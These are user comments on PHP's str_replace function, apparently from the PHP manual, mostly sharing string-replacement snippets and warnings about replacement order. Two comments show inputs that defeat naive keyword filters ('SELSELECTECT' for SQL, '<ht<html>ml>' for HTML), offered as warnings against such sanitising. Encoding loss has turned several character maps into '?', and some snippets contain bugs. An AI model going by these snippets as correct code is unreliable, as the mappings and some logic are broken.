NEVER USE this function to protect against SQL Injection.

It may sound ridiculous but I've seen a couple of developers doing so.

It's interesting that these developers use str_replace (let's ignore the fact that they don't even use the str_ireplace which is case-insensitive) to remove common SQL commands such as "SELECT" or "DROP" from user-entered inputs.

A funny thing to note is that:

<?php
$input = "SELSELECTECT";
echo str_replace("SELECT", null, $input); // = SELECT
?>

Yeah you could loop it, but str_replace was never meant to be used this way. There are proper ways to protect against SQL Injections, such as using prepared statements (placeholders).
Oyedele Hammed Horlah - itz dot harmid at gmail dot com 08-Oct-2017 08:05
this is a simple function to replace all newlines to <br> tags.

\r\n - windows line break
\n - linux line break
\r - mac line break

<?php
function nl_to_br($str) {
return str_replace(array("\r\n","\n","\r"), "<br/>", $str);
}
echo nl_to_br('Hello world\n I am Oyedele Hammed Horlah'); // => Hello World <br> I am Oyedele Hammed Horlah
?>

Enjoy
vuabid at hotmail dot com 06-Sep-2017 08:44
Consider this while using str_replace function when $search and $replace are arrays.

$search = array( 'login_reactivate', 'login_reactivate_date' );
$replace = array( 'login reactivate status', 'login reactivate date' );
$subject = "fname, email, login_reactivate, login_reactivate_date";

$returnValue = str_replace( $search, $replace, $subject );

$returnValue will be:
fname, email, login reactivate status, login reactivate status_date

You can see we are expecting "login_reactivate_date" to be replaced with "login reactivate date" but it will replace to "login reactivate status_date"
Anonymous 18-May-2017 01:57
As others have written, the replaced part can be replaced again if one uses an associative array. If you simply want to replace a certain string with another one, this will work instead:

$string = 'A';
$replace = array( 'A' => 'B', 'B' => 'C');

foreach ($replace as $arraykey => $arrayvalue)
{
  if ($string === $arraykey)
  {
    $string = $arrayvalue;
    break;
  }
}

$string2 = 'A';
$string2 = str_replace(array_keys($replace), $replace, $string2);

echo $string; // B
echo $string2; // C
info at 24h-workers dot de 22-Apr-2017 10:25
I had problems with the import of text into a textarea field.
The line feed crashes the HTML Page. This solution helps:

$Text = str_replace(array("\r\n", "\r", "\n"), '\n', $Text);

Pay attention to single quote and double quote char.
flame2000 at mail dot ru 21-Sep-2016 07:17
Replace chars in multi-byte string.
In example, replacing 'f'=>'b', 'o'=>'e', 't'=>'r' and etc.

<?php
function mb_chars_replace($from, $to, $subj, $delSymb='_') {
     $nsubj='';
     preg_match_all('/(.)/u', $subj, $subj);$subj=$subj[1];
     if (!is_array($from)) {preg_match_all('/(.)/u', $from, $from);$from=$from[1];}
     if (!is_array($to)) {preg_match_all('/(.)/u', $to, $to);$to=$to[1];}
     if (count($from)!==count($to)) return false;

     foreach($subj as $s) {
       foreach($from as $k=>$f) {
         if($s===$f) {
                    $s=$to[$k];
                    break;
         }
       }
       if($s!==$delSymb) $nsubj.=$s;
     }
    return $nsubj;
}

//examples:

$from="fotber, ";
$to="berfot+_";

// or

$from=array("f","o","t","b","e","r",","," ");
$to=array("b","e","r","f","o","t","+","_");

//out:
echo mb_chars_replace($from,$to,"foot, beer"); //beer+foot
?>
viundan at gmail dot com 26-Aug-2016 04:08
Decision to avoid problem "it might replace a previously inserted value when doing multiple replacements. See also the examples in this document."

$urls - array of urls i want to replace with tag <a> and urls could be similar
http://abc.com/parameter/
http://abc.com/

// at first sort by length to have longest firstly
usort($urls,'sortByLen');

$replaces=[];

// replace all urls with unique
foreach($urls as $url){
    $replace = '__REPLACE' . uniqid() . '__';
    $text = str_replace($url,$replace, $text);
    $replaces[$replace] = '<a href="' . $url . '">' . $url . '</a>';
}

foreach($replaces as $key => $replace){
    $text = str_replace($key,$replace, $text);
}

--------------

function sortByLen($a,$b){
    return strlen($b)-strlen($a);
}

Hope it will help others like me
Mohsin Ali (puregenius02 at gmail dot com) 06-May-2016 10:28
$myString = "It was the best of mine it was the worst of mine,";
// Displays "It was the best of bananas, it was the worst of bananas,"
echo str_replace( "mine", "bananas", $myString );
If you want to know how many times the search string was replaced, pass in a variable as an optional
fourth argument. After the function runs, this variable holds the number of replacements:
$myString = "It was the best of mine, it was the worst of mine,";
// Displays "It was the best of bananas, it was the worst of bananas,"
echo str_replace( "mine", "bananas", $myString, $num ) . " < br/ > ";
// Displays "The text was replaced 2 times."
echo "The text was replaced $num times. < br/ > ";
David Holt 05-Feb-2016 02:59
Be aware that if you use this for filtering & sanitizing some form of user input, or remove ALL instances of a string, there's another gotcha to watch out for:

// Remove all double characters
$string="1001011010";
$string=str_replace(array("11","00"),"",$string);
// Output: "110010"

$string="<ht<html>ml> Malicious code </<html>html> etc";
$string=str_replace(array("<html>","</html>"),"",$string);
// Output: "<html> Malicious code </html> etc"
kkumar dot sandeep89 at gmail dot com 30-Dec-2015 09:33
I came across requirement to replace some occurrences of a letter with other letter in a word:

<?php

$a =    'ctl00_ContentPlaceHolder1_Rpt_data_ctl01_lnk_name';
$b =    'ctl00$ContentPlaceHolder1$Rpt_data$ctl01$lnk_name';

echo "db has $a\n";
echo "we want $b\n";

//Make replacement array
$replacement = array(
    array('_','$'),
    array('_','$'),
    array('_','_'),
    array('_','$'),
    array('_','$'),
    array('_','$'),
);

//call function
echo replaceByArray($a,$replacement);

function replaceByArray($a, $replacement){
    $j=0;
    for($i=0; $i<strlen($a); $i++){
        if($a[$i]==$replacement[$j][0]){
            $a[$i] = $replacement[$j][1];    //make replacement
            $j++;        //increment index of replacement array
            if($j == (count($replacement)-1)) break;    //break out of loop if replacement array processed
        }
    }

    return $a;
}
?>
mrrehbein at gmail dot com 03-Apr-2015 01:25
nikolaz dot tang at hotmail dot com's solution of using json_encode/decode is interesting, but a couple of issues to be aware of with it.

<?php
// From: nikolaz dot tang at hotmail dot com's post
function str_replace_json($search, $replace, $subject){
     return json_decode(str_replace($search, $replace,  json_encode($subject)));
}
?>

json_decode will return objects, where arrays are probably expected.  This is easily remedied by adding 2nd parameter 'true' to json_decode.

$search and $replace could contain strings that match json encoding, which will either change the structure returned by this method, or break the json.

ie:
<?php
var_dump(str_replace_json('":"', '","', ['this' => 'stuff']));
var_dump(str_replace_json('this":"', 'this" : "thing", "with":"', ['this' => 'stuff']));
?>
borasahin at gmail dot com 02-Mar-2015 08:59
jSON Turkish Characters Problem - (PHP < 5.4 for example)

<?php
function json_decode_tr($json){
       $json_char = array("u00e7","u0131","u00fc","u011f","u00f6","u015f","u0130","u011e","u00dc","u00d6","u015e","u00c7");
       $turkish = array("?","?","ü","?","?","?","?","?","ü","?","?","?");
       $result = str_replace($json_char, $turkish, $json);
       return json_decode($json);
    }
?>
karst at onlinq dot nl 17-Oct-2014 01:57
"If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though. "

I think one important (and not at all vaguely theoretical) use-case is completely ignored here. Take, for example, the way the PDO handles parameter replacement.

If we have the following query:
"SELECT * FROM my_table WHERE (id = ? AND my_column = ? AND other_column = ?);"
The "?"s should be replaced by each successive variable in a $parameters array. That is EXACTLY the use case for "search" being a value and "replace" being an array.

Considering that this is not only a real-world example but also part of a core PHP functionality I find it very strange that it's dismissed so easily here.
Ing. Mirko Plazotta 04-Sep-2014 09:27
<?php
// a very beatiful way to do multiple replacements is this one, using just one array
$replaceThis = Array(
'old word' => 'new word',
'was' => 'it',
'past' => 'future',
);

$originalText = "every old word was a thing of the past...";
$replacedText = str_replace(array_keys($replaceThis), $replaceThis, $originalText);
echo $replacedText;
?>
markem at sim1 dot us 27-Aug-2014 08:04
I was working with MySQL and displaying the title to things on the web page.  I'd written a script to ensure single and double quotes were removed from the title.  I used

    $title = str_replace( "'", "", $title );

and

     $title = str_replace( '"', "", $title );

But still the single and double quotes continued.  So I wrote a bit of code to print out each character separated by a dash.  Like so:

     for( $i=0; $i<strlen($title); $i++ ){
         echo "$i-";
         }

     echo "<br>\n";

This displayed:

     m-y-c-o-m-p-a-n-y- b-b-&-#-3-9-;-s

Which made me go "Oh!  I get it."

The MySQL function real_escape_string modifies the single quotes to be &#39; and double quotes as &#34;  These still show up as single and double quotes under HTML and most importantly -

     JAVASCRIPT sees the &#34; and &#39; as actual single or double
     quotes.  So if you are passing arguments to a function you have
     to get rid of them or else you will get an error on trying to call
     a given function.  Example:

     <a href="javascript:func1('mycompany bbs&#39;s")'">

     becomes

     <a href="javascript:func1('mycompany bbs's');">

Which then will give you an error because there is a single quote inside of the single quoted string.  HOWEVER, the

     $title = str_replace( "'", "", $title );

WILL NOT FIND a single quote.  Instead, you have to do this:

     $title = str_replace( "&#39;", "'", $title );
and
     $title = str_relace( "&#34;", '"', $title );

(Or you could just get rid of them.)

So remember!  If you are trying to remove single and double quotes and are using MySQL and MySQL's real_escape_string() function that you might be having single and double quotes hanging around which are defined as &#39; and &#34; but which show up as single and double quotes as well as causing problems in your Javascripts.
Anonymous 19-Jul-2013 10:01
@moostende at gmail dot com
If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you CAN use str_replace !

<?php
function foo($str)
{
    do {
        $str = str_replace("--", "-", $str, $count);
    } while ($count > 0);
    return $str;
}
echo foo("-aaa----b-c-----d--e---f");
?>

This outputs the following:
-aaa-b-c-d-e-f
cmbecker69 at gmx dot de 17-Jun-2013 01:53
To collapse multiple consecutive space characters to a single one, don't use str_replace() inside a loop--use preg_replace() instead for clarity and better performance:

<?php

$str = ' This is    a    test   ';
$str = preg_replace('/ +/', ' ', $str);

?>
kriscraig at php dot net 20-Jul-2012 11:03
<?php

/**
 * Convert foreign 8859-1 characters into HTML entities.
 *
 * @param string $str
 *   The string being parsed.
 *
 * @return string
 *   The converted string.
 */
public static function convert_chars_to_entities( $str )
{
    $str = str_replace( 'à', '&#192;', $str );
    $str = str_replace( 'á', '&#193;', $str );
    $str = str_replace( '?', '&#194;', $str );
    $str = str_replace( '?', '&#195;', $str );
    $str = str_replace( '?', '&#196;', $str );
    $str = str_replace( '?', '&#197;', $str );
    $str = str_replace( '?', '&#198;', $str );
    $str = str_replace( '?', '&#199;', $str );
    $str = str_replace( 'è', '&#200;', $str );
    $str = str_replace( 'é', '&#201;', $str );
    $str = str_replace( 'ê', '&#202;', $str );
    $str = str_replace( '?', '&#203;', $str );
    $str = str_replace( 'ì', '&#204;', $str );
    $str = str_replace( 'í', '&#205;', $str );
    $str = str_replace( '?', '&#206;', $str );
    $str = str_replace( '?', '&#207;', $str );
    $str = str_replace( 'D', '&#208;', $str );
    $str = str_replace( '?', '&#209;', $str );
    $str = str_replace( 'ò', '&#210;', $str );
    $str = str_replace( 'ó', '&#211;', $str );
    $str = str_replace( '?', '&#212;', $str );
    $str = str_replace( '?', '&#213;', $str );
    $str = str_replace( '?', '&#214;', $str );
    $str = str_replace( '×', '&#215;', $str );  // Yeah, I know.  But otherwise the gap is confusing.  --Kris
    $str = str_replace( '?', '&#216;', $str );
    $str = str_replace( 'ù', '&#217;', $str );
    $str = str_replace( 'ú', '&#218;', $str );
    $str = str_replace( '?', '&#219;', $str );
    $str = str_replace( 'ü', '&#220;', $str );
    $str = str_replace( 'Y', '&#221;', $str );
    $str = str_replace( 'T', '&#222;', $str );
    $str = str_replace( '?', '&#223;', $str );
    $str = str_replace( 'à', '&#224;', $str );
    $str = str_replace( 'á', '&#225;', $str );
    $str = str_replace( 'a', '&#226;', $str );
    $str = str_replace( '?', '&#227;', $str );
    $str = str_replace( '?', '&#228;', $str );
    $str = str_replace( '?', '&#229;', $str );
    $str = str_replace( '?', '&#230;', $str );
    $str = str_replace( '?', '&#231;', $str );
    $str = str_replace( 'è', '&#232;', $str );
    $str = str_replace( 'é', '&#233;', $str );
    $str = str_replace( 'ê', '&#234;', $str );
    $str = str_replace( '?', '&#235;', $str );
    $str = str_replace( 'ì', '&#236;', $str );
    $str = str_replace( 'í', '&#237;', $str );
    $str = str_replace( '?', '&#238;', $str );
    $str = str_replace( '?', '&#239;', $str );
    $str = str_replace( 'e', '&#240;', $str );
    $str = str_replace( '?', '&#241;', $str );
    $str = str_replace( 'ò', '&#242;', $str );
    $str = str_replace( 'ó', '&#243;', $str );
    $str = str_replace( '?', '&#244;', $str );
    $str = str_replace( '?', '&#245;', $str );
    $str = str_replace( '?', '&#246;', $str );
    $str = str_replace( '÷', '&#247;', $str );  // Yeah, I know.  But otherwise the gap is confusing.  --Kris
    $str = str_replace( '?', '&#248;', $str );
    $str = str_replace( 'ù', '&#249;', $str );
    $str = str_replace( 'ú', '&#250;', $str );
    $str = str_replace( '?', '&#251;', $str );
    $str = str_replace( 'ü', '&#252;', $str );
    $str = str_replace( 'y', '&#253;', $str );
    $str = str_replace( 't', '&#254;', $str );
    $str = str_replace( '?', '&#255;', $str );

    return $str;
}
?>
bfrohs at gmail dot com 10-Jul-2012 06:27
This function implements $limit for str_replace(); is 100% backward compatible with str_replace(); uses str_replace() whenever possible (for performance reasons); supports arrays for $search, $replace, and $subject; and is fully commented.

<?php
/**
 * Replace $limit occurences of the search string with the replacement
 * @param mixed $search The value being searched for. An array may be used to
 * designate multiple needles.
 * @param mixed $replace The replacement value that replaces found search
 * values. An array may be used to designate multiple replacements.
 * @param mixed $subject The string or array being searched and replaced on. If
 * subject is an array, then the search and replace is performed with every
 * entry of subject, and the return value is an array as well.
 * @param string $count If passed, this will be set to the number of
 * replacements performed.
 * @param int $limit The maximum possible replacements for each pattern in each
 * subject string. Defaults to -1 (no limit).
 * @return string This function returns a string with the replaced values.
 */
function str_replace_limit($search, $replace, $subject, &$count, $limit = -1){
 $count = 0;
 // Invalid $limit provided
 if(!($limit===strval(intval(strval($limit))))){
  trigger_error('Invalid $limit `'.$limit.'` provided. Expecting an '.
    'integer', E_USER_WARNING);
  return $subject;
 }
 // Invalid $limit provided
 if($limit<-1){
  trigger_error('Invalid $limit `'.$limit.'` provided. Expecting -1 or '.
    'a positive integer', E_USER_WARNING);
  return $subject;
 }
 // No replacements necessary
 if($limit===0){
  trigger_error('Invalid $limit `'.$limit.'` provided. Expecting -1 or '.
    'a positive integer', E_USER_NOTICE);
  return $subject;
 }
 // Use str_replace() when possible
 if($limit===-1){
  return str_replace($search, $replace, $subject, $count);
 }
 if(is_array($subject)){
  // Loop through $subject values
  foreach($subject as $key => $this_subject){
   // Skip values that are arrays
   if(!is_array($this_subject)){
    // Call this function again
    $this_function = __FUNCTION__;
    $subject[$key] = $this_function($search, $replace, $this_subject, $this_count, $limit);
    // Adjust $count
    $count += $this_count;
    // Adjust $limit
    if($limit!=-1){
     $limit -= $this_count;
    }
    // Reached $limit
    if($limit===0){
     return $subject;
    }
   }
  }
  return $subject;
 } elseif(is_array($search)){
  // Clear keys of $search
  $search = array_values($search);
  // Clear keys of $replace
  if(is_array($replace)){
   $replace = array_values($replace);
  }
  // Loop through $search
  foreach($search as $key => $this_search){
   // Don't support multi-dimensional arrays
   $this_search = strval($this_search);
   // If $replace is an array, use $replace[$key] if exists, else ''
   if(is_array($replace)){
    if(array_key_exists($key, $replace)){
     $this_replace = strval($replace[$key]);
    } else {
     $this_replace = '';
    }
   } else {
    $this_replace = strval($replace);
   }
   // Call this function again for
   $this_function = __FUNCTION__;
   $subject = $this_function($this_search, $this_replace, $subject, $this_count, $limit);
   // Adjust $count
   $count += $this_count;
   // Adjust $limit
   if($limit!=-1){
    $limit -= $this_count;
   }
   // Reached $limit
   if($limit===0){
    return $subject;
   }
  }
  return $subject;
 } else {
  $search = strval($search);
  $replace = strval($replace);
  // Get position of first $search
  $pos = strpos($subject, $search);
  // Return $subject if $search cannot be found
  if($pos===false){
   return $subject;
  }
  // Get length of $search
  $search_len = strlen($search);
  // Loop until $search cannot be found or $limit is reached
  for($i=0;(($i<$limit)||($limit===-1));$i++){
   $subject = substr_replace($subject, $replace, $pos, $search_len);
   // Increase $count
   $count++;
   // Get location of next $search
   $pos = strpos($subject, $search);
   // Break out of loop
   if($pos===false){
    break;
   }
  }
  return $subject;
 }
}
?>
christof dot rieger at r-tron dot de 25-Apr-2012 08:41
In many countries the numeric format is 1.000,33 in english it is 1,000.33

This function converts numeric arguments always into the PHP confirm numeric format. If only one seperator is into the numericstring so it is interpreted as the decimalpoint.

 function dp($zahl)
{
  if ((strpos($zahl,".") > "-1") | (strpos($zahl,",") > "-1")) {
    if ((strpos($zahl,".") > "-1") & (strpos($zahl,",") > "-1")) {
      if (strpos($zahl,".") > strpos($zahl,",")){
          return str_replace(",","",$zahl);
    } else {
          return str_replace(",",".",str_replace(".","",$zahl));
      }
  } else {
      if (strpos($zahl,".") > "-1") {
        if (strpos($zahl,".") == strrpos($zahl,".")) {
            return $zahl;
      } else {
          return str_replace(".","",$zahl);
        }
    } else {
        if (strpos($zahl,",") == strrpos($zahl,",")) {
          return str_replace(",",".",$zahl);
      } else {
          return str_replace(",","",$zahl);
        }
    } }
} else {
    return $zahl;
} }
Denzel Morris 06-Apr-2012 02:43
Maybe obvious to veteran PHP programmers but less so to novice PHP programmers is the fact that this is invalid:
<?php
str_replace($search, $replace, $subject, 1);
?>
At a glance it appears to be a reasonable request, until you realize that the fourth parameter must be a variable in order to be passed as a reference. A replacement:
<?php
str_replace($search, $replace, $subject, $temp = 1);
// or
$temp = 1;
str_replace($search, $replace, $subject, $temp);
?>
cc at cc dot com 31-Mar-2012 05:26
I found a pretty low tech solution to avoid the "gotcha" without worrying about the array order of how things are replaced. I could not "order" the replacement array easily because it was being read from a database table.

Anyway if you add an identifiable token to each replaced word, then just filter this out at the very end, no nested search terms are found. I just dynamically add the %% after the first char of each word before pumping it into the str_ireplace function.

$find = array("as1", "as2", "as3", "flex");
$replace = array("<a href = \"#as1\">A%%uto S%%entry R%%ev. A%%</a>", "<a href = \"#as2\">A%%uto S%%entry E%%xp</a>", "<a href = \"#as3\">A%%uto S%%entry f%%lex</a>", "<a style = \"color: red;\" href = \"#flex\">f%%lex</a>");
$text = str_ireplace($find, $replace, $text);
echo str_ireplace("%%", "", $text);

In this case I am using %% as my token as this is an unlikely char combo for me.
moostende at gmail dot com 26-Sep-2011 11:20
Note that this does not replace strings that become part of replacement strings. This may be a problem when you want to remove multiple instances of the same repetative pattern, several times in a row.

If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you cannot use str_replace. Instead, use preg_replace:

<?php
$challenge = '-aaa----b-c-----d--e---f';
echo str_replace('--', '-', $challenge).'<br>';
echo preg_replace('/--+/', '-', $challenge).'<br>';
?>

This outputs the following:
-aaa--b-c---d-e--f
-aaa-b-c-d-e-f
mbullard at accuvista dot co dot uk 14-Jul-2011 02:42
Insert space after comma.

If you have a form that stores results in a database field as comma separated values, when you display this data you can use the following to insert a space after each comma:

<?php
$find[] = ',';
$replace[] = '&#44;&nbsp;';
$text = str_replace($find, $replace, $row_rsRecordset['Field']);
print_r($text);
?>

Notes:
1) To get round the Replacement Order Gotcha, the comma is also replaced with its code equivalent: &#44;
2) You can adapt the $replace section to suit your needs: swap out the &nbsp; code with <br/> or replace comma and space with &nbsp;&middot;&nbsp; etc.
hakre 06-Jul-2011 08:08
I was looking for a str_replace function supporting callbacks. As I didn't found one I wrote one my own. Works exactly like str_replace, but the replace parameter is a callback or an array of callbacks (instead of string/strings in str_replace). The callback function accepts two arguments, the string that is being replaced and the count of the replacement being done.

<?php
/**
 * str_ureplace
 *
 * str_replace like function with callback
 *
 * @param string|array search
 * @param callback|array $replace
 * @param string|array $subject
 * @param int $replace_count
 * @return string|array subject with replaces, FALSE on error.
 */
function str_ureplace($search, $replace, $subject, &$replace_count = null) {
    $replace_count = 0;

    // validate input
    $search = array_values((array) $search);
    $searchCount = count($search);
    if (!$searchCount) {
        return $subject;
    }
    foreach($search as &$v) {
        $v = (string) $v;
    }
    unset($v);
    $replaceSingle = is_callable($replace);
    $replace = $replaceSingle ? array($replace) : array_values((array) $replace);
    foreach($replace as $index=>$callback) {
        if (!is_callable($callback)) {
            throw new Exception(sprintf('Unable to use %s (#%d) as a callback', gettype($callback), $index));
        }
    }

    // search and replace
    $subjectIsString = is_string($subject);
    $subject = (array) $subject;
    foreach($subject as &$haystack) {
        if (!is_string($haystack)) continue;
        foreach($search as $key => $needle) {
            if (!$len = strlen($needle))
                continue;
            $replaceSingle && $key = 0;
            $pos = 0;
            while(false !== $pos = strpos($haystack, $needle, $pos)) {
                $replaceWith = isset($replace[$key]) ? call_user_func($replace[$key], $needle, ++$replace_count) : '';
                $haystack = substr_replace($haystack, $replaceWith, $pos, $len);
            }
        }
    }
    unset($haystack);

    return $subjectIsString ? reset($subject) : $subject;
}
?>
jay_knows_(all)uk at hotmail dot com 16-Feb-2011 07:16
This strips out horrible MS word characters.

Just keep fine tuning it until you get what you need, you'll see ive commented some out which caused problems for me.

There could be some that need adding in, but its a start to anyone who wishes to make their own custom function.

<?php

function msword_conversion($str)
{
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
// $str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
// $str = str_replace(chr(147), '"', $str);    // left double quote
// $str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '--', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
// $str = str_replace(chr(152), '~', $str);    // tilde accent
// $str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
// $str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
$str = str_replace('°C', '&deg;C', $str);    // Celcius is used quite a lot so it makes sense to add this in
$str = str_replace('￡', '&pound;', $str);
$str = str_replace("'", "'", $str);
$str = str_replace('"', '"', $str);
$str = str_replace('-', '&ndash;', $str);

return $str;
}

?>
mevdschee 29-Jan-2011 03:19
say you want every "a" replaced by "abba" and every "b" replaced by "baab" in the string "ab" you do:

<?php
$search = array("a","b");
$replace = array("abba","baab");
echo str_replace($search,$replace,"ab");
?>

that results in "abaabbaababaab" and not the expected "abbabaab"

I wrote this little snippet to solve the replacements-in-replacement problem:

<?php
function search_replace($s,$r,$sql)
{ $e = '/('.implode('|',array_map('preg_quote', $s)).')/';
  $r = array_combine($s,$r);
  return preg_replace_callback($e, function($v) use ($s,$r) { return $r[$v[1]]; },$sql);
}

echo search_replace($search,$replace,"ab");
?>

that results in the expected "abbabaab"
nikolaz dot tang at hotmail dot com 11-Nov-2010 08:57
A faster way to replace the strings in multidimensional array is to json_encode() it, do the str_replace() and then json_decode() it, like this:

<?php
function str_replace_json($search, $replace, $subject){
     return json_decode(str_replace($search, $replace,  json_encode($subject)));

}
?>

This method is almost 3x faster (in 10000 runs.) than using recursive calling and looping method, and 10x simpler in coding.

Compared to:

<?php
function str_replace_deep($search, $replace, $subject)
{
    if (is_array($subject))
    {
        foreach($subject as &$oneSubject)
            $oneSubject = str_replace_deep($search, $replace, $oneSubject);
        unset($oneSubject);
        return $subject;
    } else {
        return str_replace($search, $replace, $subject);
    }
}
?>
apmuthu at usa dot net 19-Jun-2010 12:31
If we have a html template that contains placeholders in curly braces that need to be replaced in runtime, the following function will do it using str_replace:

<?php

function parse_template($filename, $data) {
// example template variables {a} and {bc}
// example $data array
// $data = Array("a" => 'one', "bc" => 'two');
    $q = file_get_contents($filename);
    foreach ($data as $key => $value) {
        $q = str_replace('{'.$key.'}', $value, $q);
    }
    return $q;
}

?>
cableray 11-Jun-2010 12:03
If you wish to get around the 'gotcha', you could do something like this:

<?php

$find=array('a', 'p', '^', '*');
$replace = array('^', '*', 'apple', 'pear');
str_replace($find, $replace, 'a p');

?>

The idea here is that you first replace the items you want with unique identifiers (that you are unlikely to find in the subject) and then search for those identifiers and then replace them.
christian dot reinecke at web dot de 14-May-2010 12:06
If you need to replace a string in another, but only once but still in all possible combinations (f.e. to replace "a" with "x" in "aba" to get array("xba", "abx")) you can use this function:
<?php
function getSingleReplaceCombinations($replace, $with, $inHaystack)
{
    $splits = explode($replace, $inHaystack);
    $result = array();
    for ($i = 1, $ix = count($splits); $i < $ix; ++$i) {
        $previous = array_slice($splits, 0, $i);
        $next     = array_slice($splits, $i);

        $combine  = array_pop($previous) . $with . array_shift($next);
        $result[] = implode($replace, array_merge($previous, array($combine), $next));
    }
    return $result;
}
var_dump(getSingleReplaceCombinations("a", "x", "aba")); // result as mentioned above
?>
It may not be the best in performance, but it works.
jbarnett at jmbelite dot com 26-Apr-2010 01:23
Might be worth mentioning that a SIMPLE way to accomplish Example 2 (potential gotchas) is to simply start your "replacements" in reverse.

So instead of starting from "A" and ending with "E":

<?php
$search  = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
// replaces A to B, B to C, C to D, D to E, E to F (makes them all F)
// start from "E" and end with "A":

$search  = array('E', 'D', 'C', 'B', 'A');
$replace = array('F', 'E', 'D', 'C', 'B');
// replaces E to F, D to E, C to D, B to C, A to B (prevents from
// multiple replacements of already replaced values)
?>

So basically start from the "end" and put the replacements in an order where the "replaced value" won't equal a value that exists later in the "search array".
pjcdawkins at googlemail dot com 23-Apr-2010 05:23
Here's a deep replace function allowing multi-dimensional arrays in $search, $replace and $subject. The keys and other structure of $subject are preserved.

<?php
// Auxiliary function:
function _replaceWithAnything($search,$replace,$subject){
  if(!is_array($search) || !is_array($replace)){
    $search=array($search);
    $replace=array($replace);
  }
  $match=array_search($subject,$search,true);
  if($match!==false && array_key_exists($match,$replace))
    $subject=$replace[$match];
  return $subject;
}

// Main function:
function deepReplace($search,$replace,$subject){
  if(!is_array($subject))
    return _replaceWithAnything($search,$replace,$subject);
  foreach($subject as &$val){
    if(is_array($val)){
      $val=deepReplace($search,$replace,$val);
      continue;
    }
    $val=_replaceWithAnything($search,$replace,$val);
  }
  return $subject;
}
?>
fleshgrinder at gmx dot at 16-Apr-2010 05:50
Fast function to replace new lines from a given string. This is interesting to replace all new lines from e. g. a text formatted in HTML retrieved from database and printing it without the unnecessary new lines. This results in slightly faster rendering in the Web browser.

<?php

/**
 * Replace all linebreaks with one whitespace.
 *
 * @access public
 * @param string $string
 *   The text to be processed.
 * @return string
 *   The given text without any linebreaks.
 */
function replace_newline($string) {
  return (string)str_replace(array("\r", "\r\n", "\n"), '', $string);
}

?>
Wes Foster 17-Dec-2009 01:32
Feel free to optimize this using the while/for or anything else, but this is a bit of code that allows you to replace strings found in an associative array.

For example:
<?php
$replace = array(
'dog' => 'cat',
'apple' => 'orange'
'chevy' => 'ford'
);

$string = 'I like to eat an apple with my dog in my chevy';

echo str_replace_assoc($replace,$string);

// Echo: I like to eat an orange with my cat in my ford
?>

Here is the function:

<?php
function strReplaceAssoc(array $replace, $subject) {
   return str_replace(array_keys($replace), array_values($replace), $subject);
}
?>

[Jun 1st, 2010 - EDIT BY thiago AT php DOT net: Function has been replaced with an updated version sent by ljelinek AT gmail DOT com]
Decko 15-Oct-2009 01:41
As mentioned earlier you should take the order into account when substituting multiple values.

However it is worth noticing that str_replace doesn't seem to re-read the string when doing single replacements. Take the following example.

<?php
  $s = '/a/a/';
  $s = str_replace('/a/', '/', $s);
?>

You would expect the following.

First replacement '/a/a/' -> '/a/'
Second replacement '/a/'->'/'

This is not the case, the actual result will be '/a/'.

To fix this, you will have to put str_replace in a while-loop.

<?php
  $s = '/a/a/';
  while(strpos($s, '/a/') !== false)
    $s = str_replace('/a/', '/', $s); //eventually $s will == '/'
?>
Alberto Lepe 15-Jun-2009 07:44
Be careful when replacing characters (or repeated patterns in the FROM and TO arrays):

For example:

<?php
$arrFrom = array("1","2","3","B");
$arrTo = array("A","B","C","D");
$word = "ZBB2";
echo str_replace($arrFrom, $arrTo, $word);
?>

I would expect as result: "ZDDB"
However, this return: "ZDDD"
(Because B = D according to our array)

To make this work, use "strtr" instead:

<?php
$arr = array("1" => "A","2" => "B","3" => "C","B" => "D");
$word = "ZBB2";
echo strtr($word,$arr);
?>

This returns: "ZDDB"
moz667 at gmail dot com 21-May-2009 09:49
<?php
/*
This is a function for made recursive str_replaces in an array
*/
function recursive_array_replace($find, $replace, &$data) {
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            if (is_array($value)) {
                recursive_array_replace($find, $replace, $data[$key]);
            } else {
                $data[$key] = str_replace($find, $replace, $value);
            }
        }
    } else {
        $data = str_replace($find, $replace, $data);
    }
}

$a = array();
$a['a'] = "a";
$a['b']['a'] = "ba";
$a['b']['b'] = "bb";
$a['c'] = "c";
$a['d']['a'] = "da";
$a['d']['b'] = "db";
$a['d']['c'] = "dc";
$a['d']['d'] = "dd";

echo "Before Replaces";
print_r($a);

recursive_array_replace("a", "XXXX", $a);

echo "After Replaces";
print_r($a);
?>
michael dot moussa at gmail dot com 29-Jan-2009 06:38
As previous commentators mentioned, when $search contains values that occur earlier in $replace, str_replace will factor those previous replacements into the process rather than operating solely on the original string.  This may produce unexpected output.

Example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo str_replace($search, $replace, $subject); // output: 'FFFFFF'
?>

In the above code, the $search and $replace should replace each occurrence in the $subject with the next letter in the alphabet.  The expected output for this sample is 'BCDEF'; however, the actual output is 'FFFFF'.

To more clearly illustrate this, consider the following example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';

